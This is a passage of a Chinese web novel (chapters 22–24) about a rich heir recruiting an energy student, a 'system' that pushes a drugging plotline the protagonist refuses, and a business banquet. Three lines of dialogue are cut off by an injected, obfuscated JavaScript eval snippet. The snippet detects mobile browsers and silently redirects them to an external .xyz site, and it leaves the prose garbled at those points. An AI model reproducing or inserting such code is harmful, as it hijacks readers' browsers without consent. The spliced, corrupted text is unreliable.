要是在家就好了,想吃什么都有阿姨做,哪像现在这样什么都要提前安排,还得他自己操心。他要是翘班去吃饭,他爸肯定说他不能坚持,还是算了。 卓鹭元随便吃了点东西,准备找个时间去和乔昱褀聊新能源项目的事,不管怎么说他总得去实地考察一下吧? 本来卓鹭元计划得好,但下午突然来的一通电话打乱了他的安排: “啊?给学弟学妹开讲座,我吗?” 卓鹭元指着自己不知该说什么好,他不是个才来公司学习一星期的纨绔吗,他怎么给学弟学妹讲课,难道演讲一篇我的董事长父亲?会被人套麻袋的吧! 学校老师也是个人精,拐了个弯笑吟吟地在电话里对卓鹭元说:“当然了。卓先生成绩好形象佳,现在又在公司的重要岗位任职,怎么会不合适。重要的是现临近毕业季,毕业生们也需要一些前辈的经验来指点方向嘛。” 卓鹭元:“…好吧,大概什么时间?”他懂了,毕业季学校想让他帮忙照顾一下学弟学妹,顺便去当一下吉祥物。 校方老师:“就在下个星期一,地点在淮市大学的大礼堂。” 卓鹭元大一大二时成绩还行,后来就彻底和盛俊文他们放飞自我了,老师说的话卓鹭元听听就罢了,不过要是能有些优秀的人才倒也不错。 淮市大学还像模像样的给卓鹭元发了一封邀请函,到讲座那天卓鹭元还要靠着它进学校的大门,淮市大学的管理还是挺严格的。 淮市大学扎根本市,距今为止建校已经有一百多年的历史,为淮市培养了许多人才,也是公司里不少员工的母校。 卓鹭元有好几年没有回来过了,看着教学楼还有些恍如隔世的感觉。卓鹭元拿出邀请函递给门口的门卫,门卫检查了一下就放行了。 离讲座开始还有一段时间,卓鹭元在电话里婉拒了老师过来接他的建议,提出想自己在校园里走一走。学校的教学楼从外表看起来还是老样子,和他上学时没什么区别,但后来听说有校友捐了新的桌椅板凳,反正他是没赶上。 卓鹭元就这样漫步在校园里,不远处两个女生你推我搡地往这边看过来,路人学生也有不少人故意放慢脚步偷看卓鹭元,他甚至听到了那些学生小小的惊叹声。 旁边的女生好不容易鼓起勇气,拿着手机走到卓鹭元面前,刚说了句同学你好,卓鹭元立马后退一步警惕地说:“没手机,不恋爱,无性恋。” 说完也不等女生反应过来,快步往大礼堂的后台休息室去了。他知道自己长得好看,但他都毕业这么多年了,可不想被人围起来当猴看。 因为今天只是针对毕业生的讲座,所以来的学生不是很多,显得大礼堂有些空旷。今天的讲座不止一场,卓鹭元只是讲其中一场,连讲稿都是在网上找了一篇讲稿连夜改的。 他向助理要了些资料,以自家公司招聘为例大概讲了一下就业形势,同时假装不经意间展示一下公司里的福利待遇和招聘条件,准备看看到时候能不能吸引一些学长学姐来应聘。 在卓鹭元前面讲的是另外一个学经济的校友,坐在台上谈了不少国际经济形势,但卓鹭元看底下学生都开始玩手机了。 这样也好,万一等会讲错了也没人关注他。 等到卓鹭元上去讲的时候,他忽然感觉礼堂里所有人的视线都聚焦了过来,同时戳手机戳地更快了,卓鹭元用脚趾头想都知道他们在干什么! 卓鹭元心里有种不好的预感,加快了自己说话的语速。与此同时,祁琼音却揉了揉眼睛看着台上的人,那不是之前和贺先生在一起的人吗? 他居然也是淮市大学的学生,还是她的学长? 卓鹭元讲完之后,祁琼音急忙从座位上站起身朝他的方向挤过去,也不顾自己被挤得散乱的头发,从自己背着的包里掏出一张纸,踮起脚在卓鹭元眼前挥了挥:“卓先生你好,我们之前见过的!” 卓鹭元旁边围了不少学生,不仅有要他联系方式,甚至还有要他签名的,他又不是什么明星。所以卓鹭元对于祁琼音手上的纸片也只是轻轻一瞥,下意识开口:“不签名…” 等等,她手里好像是张简历? 祁琼音眼看卓鹭元要走,不知从哪生出来的力气,愣是在一群迷弟迷妹中挤出一条缝来,把简历拿在卓鹭元眼前:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15665002|172965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请问有实习岗位招人吗,我学能源的,研究生今年毕业,拜托看看我的简历!”他们公司的薪资待遇听起来很不错,她必须抓住机会! 卓鹭元想起自己之前碰到祁琼音的场合,不由得对她肃然起敬,这么拼的吗,随身带简历? 刚才祁琼音说自己事学能源的,卓鹭元内心微动,带着祁琼音到旁边去说话:“你是学能源的?” 祁琼音的简历很好看,成绩好不说还年年拿着奖学金,现在跟着导师做研究。卓鹭元有些意外,这还是个和他新项目相关的人才? 卓鹭元也不太了解这方面的专业知识,卓父为了新项目已经在准备组建相关的团队,卓鹭元也在想着往团队里塞点自己的人,方便探听消息,眼下祁琼音就是个不错的选择。 想到这里,卓鹭元心里有了主意,把简历还给忐忑的祁琼音对她说:“你的简历看起来不错,我把你的简历留下,这段时间保持电话畅通,到时候会有人联系你对你进行面试。” 说是面试,卓鹭元是想借卓父的人看看祁琼音是不是真的有真材实料,如果祁琼音表现还不错,他就打算顺其自然把她塞进项目组里当二五仔,随时汇报动向。 祁琼音激动地握拳:“我肯定去!” 等到卓鹭元走了,祁琼音还沉浸在喜悦中没回过神来,迷迷糊糊地回到自己的宿舍里。宿舍里一个看不惯她的室友阴阳怪气地说:“果然人要想活得好啊,就得脸皮厚,我可不像有些人,都快倒贴到别人身上去了。” “说这话的人要不要先照照镜子?琼音的成绩一向是第一,你呢,你的论文过了吗?”祁琼音的闺蜜毫不客气地把人怼回去,然后兴奋地拉着祁琼音问话:“真的能去实习啦?我就知道你可以!” 祁琼音摸了摸脑袋,想起刚才自己的壮举还有些不好意思:“还没确定呢,要等面试完了才知道。我就是听他们公司的薪资待遇挺好的,头脑一热就把简历塞过去了,如果能去的话我就不用像现在这样打这么多份工了。” 闺蜜也替祁琼音庆幸:“我就说让你把现在那个家教辞了。虽然那小孩人不错,但是他那家长看着不像什么好东西,之前我听说有学姐做家教被他骚扰,最后还被倒打一耙说学姐勾引他,他也不撒泡尿看看自己配不配!” 祁琼音也知道闺蜜说的大概率是真的,因为那个家长总在女主人不在的时候和自己说些有的没的,还企图动手动脚,她就是再迟钝也感觉到了。想到这份即将到手的新工作,祁琼音鼓起勇气下定决心:“嗯!要是我能面试成功,我就把家教辞了。” 闺蜜点头,随即想起什么:“对了,我哥不是在酒店工作吗,最近他们那边在招临时服务员,薪水不错,但是要提前过去培训两天,听说是为了一场晚宴,他们那边人手不足,你想不想去?可别说我没想着你,我一点也不想让你再去那个家教了!” 祁琼音乐呵呵地答应下来:“去,我肯定去,谢谢你啦!” 23. 第 23 章 “好的,接下来…”贺真话说了一半忽然停顿下来,周围的御宴宫不自觉地看向他,贺真面不改色地接上了后半句话:“…先休息十分钟,之后继续开会。” 贺真从会议室出来,回到办公室用脚尖踢了踢茶茶:“别装死,讲讲为什么主线剧情突然推进了一大截。” 刚才他正在和员工开会,系统突然弹出提示,提醒他主线任务剧情进度增加,他顾不上开会,马上把狗系统拽出来问清楚。 茶茶顺着贺真的裤腿爬到腿上,调出主线剧情给贺真看,任务进度增加的部分剧情就会部分公开,于是贺真就看到了在淮市大学的礼堂里,头发挤到凌乱的祁琼音在人缝中举着一张简历冲着卓鹭元挥舞的画面。 贺真沉默了,祁琼音是有点力气和手段在身上的,尤其简历还是彩色打印的,看来为了找工作很下血本了。 剧情的力量确实强大,他这个绿茶男配出场之后其实不少剧情也跟着起了蝴蝶效应,但男女主还是遇到了,并且卓鹭元还收下了祁琼音的简历,约她去公司面试。 贺真放大看了祁琼音的简历,在看到她的专业时,几乎是瞬间明白了为什么卓鹭元会帮祁琼音,大概还是为了那个项目的事。 但这不妨碍贺真有些不爽,虽然他不知道为什么。 贺真坐在办公室里,手里的签字笔下意识敲着桌面,钱特助看着时间差不多,进来询问贺真会议是否继续,贺真微微摇头,忽然问他:“钱特助,我记得乔家之前送来一张邀请函,是关于那个新能源项目的事?” 是这样没错,但钱特助记得当时贺真明确说了不去,不看好他们这个项目,不知道现在提起是什么想法。但钱特助还是尽职尽责地回答:“是的,时间是十天后的傍晚,在海华大酒店。” 这场宴会是乔家专门为了那个新能源项目办的,目的就是为了将更多的人拉进这个项目里,不出意外的话卓鹭元应该也会去。 贺真沉默地看着系统弹出的提示,让钱特助放下邀请函先出去。待到办公室无人之后,贺真才问茶茶:“你说的重要剧情是什么?” 茶茶发现宿主似乎心情不好,于是伸出猫爪把主系统的提示挪到贺真面前,试图卖萌撒娇让宿主心情好起来:“十天后的乔家宴会是一个重要的剧情节点,按照剧情,男女主会因为被下药的缘故在一起,然后再因为各种误会……” “打住。”贺真叫停茶茶,语气里尽是不赞同:“这种不尊重人的剧情有什么存在的必要,我拒绝而且这个剧情为什么之前我没有在故事梗概里看到过?” 可是不做的任务话,宿主就没办法攒够积分回去了,茶茶急忙解释:“故事梗概只展示基本剧情,因为篇幅问题部分剧情会被折叠,所以故事梗概里是看不到的。这段不用宿主做任务,只是重要剧情提醒而已,只要顺着剧情就可以轻松拿到积分,这样不好吗?而且宿主本来也不是这个世界的人呀。” 茶茶越说越小声,贺真的脸色也越来越难看,最后冷笑一声:“不是这个世界的人就可以不尊重?听起来对你们系统而言,你们绑定宿主的时候,是不是也是这样看待我们的?” 可大家做任务不都是这样的吗?茶茶它也不知道,它也只是个刚诞生不久的新系统,解答不了贺真的问题。 贺真从茶茶低着头的样子明白了什么,直截了当地问它:“让男女主在一起还有很多合理合法的方式,我不赞同,我能不能告诉卓鹭元这件事,让他避免这个剧情?” “绝对不可以!”茶茶疯狂摇头:“主系统对剧透监管很严格的,宿主这么做会直接被判定任务失败抹杀的,尤其这还是重要剧情!” 想起卓鹭元对待朋友的样子和之后会遭遇的事情,贺真深吸一口气,做了个决定:“既然你也说是做任务,完不成会怎么样?” 茶茶似乎猜到宿主要做什么,打开系统空间里的任务守则指给贺真:“依据任务重要程度判定。普通的任务没有完成会扣一点积分,支线任务没有影响,最多只是拿不到分而已。但是宿主,” 茶茶严肃地对贺真说:“像这样会影响剧情走向的重要任务,如果没有完成就不只是扣分的问题,还会有惩罚。宿主,卓鹭元他是男主,就算根据剧情走下去也不会发生什么事,这个世界依旧会偏爱他。但是宿主不仅要面临积分清零的危险,还要受到严厉的惩罚。” “这样真的值得吗?” 贺真听完倒是放松下来,斜睨正在偷看自己的茶茶:“你是不是忘了自己怎么绑定的我?” 因为救人。 茶茶没有回答,仿佛知道了贺真的选择。 它听到宿主对自己说:“卓鹭元热情仗义,人品好又有底线。祁琼音虽然鲁莽了一点,但她没做什么坏事。或许你说得对,就算我不插手,他们依然会被世界偏爱,但对我来说这不一样。” 贺真揉了揉茶茶的头:“没人问过他们愿不愿意接受这样的剧情和结果,被世界偏爱是他的事,我想让他们有选择的权利,这是我的原则,也是对他们的尊重。现在告诉我吧,惩罚是什么?” 茶茶有些似懂非懂地回答:“电击,听说会比生小孩还痛苦一点,但是对宿主的身体没什么影响,只是痛觉上的模拟而已。宿主真的能承受得了吗?” “嗯,那就好。”贺真放下心来,对茶茶说:“到时候麻烦你和主系统商量一下,看看能不能不扣积分,把需要扣的积分加到惩罚上,我们可不做亏本的生意。” “好,茶茶知道了。”茶茶有些低落,答应了贺真之后就缩回系统空间里了。 贺真做了决定,打电话给钱特助:“十天后的宴会我以贺家的名义参加,你和我一起去。” “哥,你最近都在忙什么,干吗都不理我!” 郑曦生气地站在郑煦书房门前,堵住又要把自己扎进文件堆的哥哥,不满地抱怨:“你都很久没和我好好聊天了。” 郑曦和郑煦的父母去世得早,兄妹俩说是相依为命也不为过,所以郑煦也很宠着郑曦这个唯一的妹妹,几乎是有求必应。 郑煦闻言摸了摸妹妹精致打理过的头发,声音里难掩疲惫:“最近公司里的事情有点多,等忙完这一阵,哥哥陪你去逛商场,给你提包包好不好?你这段时间找你潜溪哥哥玩,想买什么就买什么,哥哥出钱。” 郑曦有些郁闷:“自从那个死绿茶接管了星芒,潜溪哥就忙得团团转。最近他忙着巡演,我都半个月没见到他了,他还不让我去找死绿茶的麻烦。” 贺真接管星芒之后公司里的风气好了不少,因为背靠贺家的缘故,还挖来不少厉害的经纪人,贺真马上就给郑潜溪安排上了,郑潜溪自己也挺满意的,总比在家抠脚好,怎么可能郑曦让去找麻烦。 贺彦这个坏东西,没事干吗做那些违法的事,结果自己的玩伴也没了。 郑曦叹了口气,又晃了晃郑煦的胳膊:“你陪我嘛,什么工作比你亲爱的妹妹还重要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15665003|172965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 郑煦只好大概和郑曦解释了一下:“最近乔家提出的新能源项目很不错,圈里不少人都有合作意向,你哥我也是。但不巧的是去年公司刚好投了项目,目前资金周转不开,我正在想办法看能不能调动一些资金,赶上这个项目。” 虽然郑煦这样说,但他心里觉得概率不大,对于这块喷香的饼只能尽力一试了。 郑曦眼珠转了转,问郑煦:“圈里很多人都心动?那卓家呢,鹭元哥哥他去吗?” 鹭元哥哥,又是鹭元哥哥! 郑煦有些吃味,故意说:“唉,妹大不由哥,还没追到人胳膊肘就往外拐了。他也去,行了吧。你老实和我说,你是不是又想追过去?” 郑曦被看穿也不掩饰,理直气壮地说:“当然啦,我已经学了不少绿茶语录,鹭元哥哥肯定会喜欢我的,凭什么我比不过那个死绿茶!” 郑曦始终对贺真耿耿于怀,郑煦怕自己妹妹真的得罪人,只好冒着惹她生气地风险小心提醒:“我可以答应带你去宴会,但你要答应我不能惹事。我听说贺真也会去宴会,而且是代表贺家,无论你有多讨厌他,也不能在那种场合给他难看。” 郑曦不甘不愿地答应下来:“知道了,我不会给哥哥惹事的。那你再给我一张邀请函,我要和菱菱一起去,你们每次喝酒说话都可无聊了,我要带个朋友去。” “好好好,只要你开心,哥哥什么都答应你。”郑煦顺着郑曦的话答应下来,不就是一张邀请函吗,对他而言还真不算什么事。 “谢谢哥哥,我就知道你最好啦!”郑曦笑着跑走,嘴里哼着开心的小调,还是一副无忧无虑的样子。 郑曦一走,郑煦脸上掩饰不住的疲惫再次浮现出来,他这些天一直在想办法,但能周转的资金还是不够。郑曦那个叫唐菱的朋友,家里也是保守派,没有什么合作的可能,看来这次他可能要退出竞争了。 不管郑煦怎么想,十天后的晚宴还是按时开场了。 贺真走进酒店,乔昱褀就端着酒杯迎了上来: “贺大少能来可真是意外,难不成也是来谈合作的?” 乔昱褀话中带刺,意有所指:“听说贺大少不久前才把亲堂弟送了进去,这样的合作方可有点令人不放心啊。” 贺真随手拿起一杯酒晃了晃,乔昱褀出于礼节也举起酒杯想要和贺真碰杯,贺真却无视乔昱褀碰杯的动作,兀自喝了一口之后又将酒杯放回托盘:“原来乔总在为他打抱不平。不过比起我,乔总更应该担心自己的眼光,毕竟替一个会挪用公司钱的人出头,应该更令其他合作方担心吧。” 原本周围还在观望两人谈话的宾客,在贺真离开后悄然散去,心里也多了点计较。乔昱褀年轻气盛,还是和他父亲差远了。 乔昱褀注意到旁边宾客的目光,压抑住心中的怒火举杯冲他们笑了笑,转身时脸色却沉了下来,用力地将酒杯放入旁边侍者端的托盘里,意料之外的力道让侍者的手颤抖了一下,酒液洒在了乔昱褀的衣服上。 “你是怎么做事的!” 祁琼音也没料到这人放下酒杯的力道这么大,但由于吸取了前两次的教训,祁琼音还是第一时间道歉了:“对不起,是我没拿稳。” 倒霉死了,祁琼音这样想着,但愿不要扣她的工资就好了,为了这个她还牺牲打工时间过来培训了两天呢! 乔昱褀看了一眼自己的衣服,阴冷的眼神扫过祁琼音,去休息室换衣服了。 24. 第 24 章 “贺真是怎么回事,你不是说他对这个项目没兴趣?” 乔昱褀阴沉着脸,问旁边站着的贺继明。 贺继明显然也不知道为什么贺真突然对这个项目起了兴趣,如果他要插手的话,后面的事情倒是真有些不好办。不过想到最近圈子里对于贺真的一些传闻,贺继明心中有了一个猜测。 贺继明像没发现乔昱褀的不爽一样,脸上依旧挂着温和的笑:“我最近在圈子里听到一些传闻,贺真似乎对卓家的卓鹭元有些其他的想法。今天的宴会,乔总应该也邀请卓家了吧?” “他看上卓鹭元了?”乔昱褀穿外套的动作一顿,看向贺继明的眼神里带着意外:“他不是才回国吗?” 贺继明眼中闪过一丝鄙夷:“谁知道呢,或许是卓鹭元长得好看吧。乔总在国内这么多年,应该最了解吧?”如果他没记错,之前乔昱褀也对卓鹭元表示过好感,贺彦曾经还和他嘲笑过,说两个男人有什么好的,恶心死了。 乔昱褀穿好外套,心底浮起对贺真的不不满和恼怒,卓鹭元敢拒绝自己,不代表他能容忍其他人过来觊觎卓鹭元。等过了今天,他要贺真好看。 今天的晚宴来的人不少,卓鹭元抬眼望去,不仅他和朋友们的家里人来了,连平时和乔家业务上没什么交集的人都来了,也不知道乔家这个项目到底有什么吸引力。 卓鹭元是和卓父一起来的,如果是平时的宴会,卓鹭元大概早就躲到一边了。但卓鹭元想到贺真之前说的话,还是找侍者拿了一杯葡萄汁跟在卓父身边,企图蒙混过关。 卓鹭元本来以为跟着卓父过来能听到什么有用的消息,结果有点令他失望,不过是大家互相试探罢了,很快他就觉得无聊。盛俊文他爸不像卓父那样惯着他,这会儿还在不远处和其他人攀谈,一时脱不开身,卓鹭元只好自己到休息区放松一下。 贺真今天是带着钱特助来的,某些程度上钱特助的出现也代表了贺父的态度和信任,所以即便贺真在这个场合显得年轻,也无人敢轻视他。 更何况就刚才他和乔昱褀的谈话来看,说不定比他父亲还更加雷厉风行一点,这未尝不是件好事。 贺真的剧情里暂时不需要他去接触这个项目,他来宴会也不是为了这点。所以在和其他人寒暄过后,贺真留下钱特助,自己径直朝休息区走去。 卓鹭元这家伙不能喝酒又讨厌交际,这会儿估计八成在躲懒。 果然,还不等贺真走到休息区,卓鹭元就冲他招了招手,旁边还有宁之衡和卢俊城:“这里。” 贺真走过去和几人打了招呼,对于宁之衡出现在这里还有些意外:“没想到阿衡也在这里。” 宁之衡嘻嘻笑了两声:“我对做生意没兴趣,专门来凑热闹看八卦的。听说今天郑家两兄妹也来了哦,鹭元和阿真可要有小麻烦咯。” 宁之衡那张娃娃脸上全是对看热闹的渴望,贺真不明白为什么他会有这么旺盛的好奇心。卢俊城好笑地摇摇头,替宁之衡解释:“不用管他,他家里开娱乐公司的,爱好就是看热闹。” 宁之衡也不反驳,转而又提起自己听到的消息:“看热闹是人的本性。比如我就听说了,郑曦以为鹭元喜欢贺真那样的绿茶,最近正在想办法换个人设,说不定你周围会非常茶香四溢。” 卓鹭元神色恹恹:“她喜欢我哪里,我改还不行吗。”再说了,他最近也不觉得贺真哪里茶,反而觉得他人挺好的,宁之衡肯定是在胡说。 贺真为了帮他都受伤了,还体谅那个祁琼音的难处没让她赔所有的钱,这难道也叫茶吗? 贺真不太在意宁之衡说的郑曦也在的事,他今天来的主要目的就是阻止卓鹭元和祁琼音的剧情,闻言也只是笑笑:“哪有什么茶不茶的,她也是好意。” 宁之衡悄悄在心里叹了口气,看看,这才是高级茶艺大师,就郑曦那个急脾气怎么学得来嘛,就算输给贺真也正常。 贺真说完以后不小心和桌底的茶茶对视一眼,看到茶茶的眼神才反应过来自己刚才说的话好像有点茶茶的。 坏了,有点肌肉记忆。 贺真轻咳一声,悄声和茶茶说:“等会帮我盯着点,今天可不能掉以轻心。” “好的宿主,有事我会提醒宿主的!”茶茶眼神坚定的点点头,继续藏在桌底装小猫。 不远处乔昱褀和卓父聊了两句,乔昱褀故作疑惑地问:“听说今天鹭元也来了,怎么没见到他?前段时间听说卓伯父让他去公司历练,我还想和他交流一下管理公司的经验,毕竟我比他早接触一些。” 卓父呵呵两声:“这孩子不胜酒力,去旁边休息了。下次要是有机会,是该让你们两个好好聊聊。” “卓伯父客气了。”乔昱褀笑着和卓父碰杯,余光却看向不远处的卓鹭元,不知道想到什么,愉悦地把酒咽了下去。 卓鹭元晃了晃酒杯里的葡萄汁,喝了半天自己也觉得没意思:“要不我也拿杯酒来?” 卢俊城听了连连摇头:“你放过我们吧,今天来这么多人,万一你喝醉了我们又不能捂你的嘴。”卓鹭元喝醉以后净说大实话,万一得罪点人那就面子里子全丢了。 贺真也见过,不仅见过还经历过,加上其他原因,今天更不可能让他喝酒。贺真阻止的话还没说出口,郑曦的声音先响起来了:“鹭元哥哥,原来你在这里啊,让我找了好久。” 郑曦今天穿着一身精致淡雅的小礼服,踩着高跟鞋迈着小碎步朝卓鹭元跑了过来,被一旁的唐菱提醒后又紧急刹车,慢慢地走了过来:“我听说今天鹭元哥哥也在,想着我们也有段时间没见了,特地过来找你。” 卓鹭元笑着和郑曦打了招呼,客气地说:“要不要和我们一起坐坐?” “好…咳,这样会不会打扰到你们?”郑曦开心的笑容在看到贺真时马上少了几分真诚,连忙打起十二分精神维持自己的新人设。 卓鹭元不好赶她们走,于是起身换了个位置,自己坐在了贺真旁边。 郑曦拉着唐菱坐下,和卓鹭元等人介绍她:“这是我的好朋友唐菱,这种场合太无聊了,我特地拉她来陪我。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15665004|172965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 唐菱浅浅地笑了一下,温和地说:“大家好,我叫唐菱,是曦曦的朋友。我父亲是唐靖,几位应该也认识。” 几人举杯表示欢迎,宁之衡脸上的笑容却淡了点,皮笑肉不笑地说:“怎么会不认识呢,这不是那个娶了小三逼死原配的唐靖嘛,这我还是听说过的。” 唐菱脸上有些挂不住,放下酒杯不知道该如何开口。郑曦见状挡在唐菱面前,一脸不忿地对宁之衡说:“你干吗这么说菱菱,那是她父亲做的,又不是她……” “又不是她什么?她是没用唐家的钱,还是没叫唐靖一声爸?既然用了唐家的钱也承认他这个爸,又怎么和她没关系?”宁之衡语气阴沉,站起来对着唐菱说:“我不管你们唐家的事,但你爸应该告诉过你,有宁家出席的场合最好给我躲得远远的。你今天过来,是把那些话都忘了想要攀高枝?” 唐菱白着一张脸,半晌才找回自己的声音:“曦曦,我身体有点不舒服,想去休息一下。” 郑曦一时也不知道该说什么,只好顺着唐菱的话扶她起身。海华大酒店的宴会厅在二楼,楼上还有乔家包下的房间供宾客们休息。 郑曦有些遗憾地看向卓鹭元,但为了照顾唐菱的心情,还是带她去休息了。 宁之衡看不上唐菱那副不想走又怕自己的样子,嗤笑一声把杯中酒一饮而尽:“看见了吗,我的话都说到这个份上了她都没打算走,还想着在这给自己找下家,看来她也知道自己的爹不靠谱啊。” “阿衡。”卢俊城制止宁之衡的话,刚才两人说话没有刻意压低声音,这会已经有人向这边看了,他不能让宁之衡继续说下去了:“既然待到不开心,我们不如先走吧,你也不是真的对这个项目感兴趣。” 宁之衡就是看不得唐家人,现在看到贺真惊讶地表情,也知道自己刚才失态了。宁之衡平复心情,对贺真说:“抱歉,本来想过来看热闹,结果自己成热闹了。我情绪不好,今天先走了,改天我做东赔罪。” 贺真和卓鹭元不是计较这些事的人,只不过卓鹭元还是在两人走了以后私下给贺真解释了一下:“阿衡的姑姑之前嫁给了唐靖,孕期发现唐靖出轨,拉扯之下流产,最后因为大出血谁也没保住。”从那之后宁家就放话,宁家出席的场合,不许唐家人出现。 这样的话贺真就能理解宁之衡的反应了,这个唐菱应该就是那个小三的孩子。 卓鹭元和贺真两人说着话的时候,一位侍者向他们这边走过来,语气恭敬地对贺真说:“请问您是贺真贺先生吗?卓先生和乔先生请您过去,似乎有话想和您聊聊。” 贺真看向不远处,卓父隐秘地向贺真招了招手,看来侍者说的是真的。卓家和贺家交好,这样的场合他不好不去,只好叮嘱卓鹭元:“我去和卓伯父聊两句,你少喝些果汁,也别碰酒。” “知道了知道了,一个人喝酒有什么意思。”卓鹭元有些郁闷,这才过了多久,突然剩他一个人。 卓鹭元没意思地拿起桌上的糕点吃着,错过了侍者带着恶意的目光。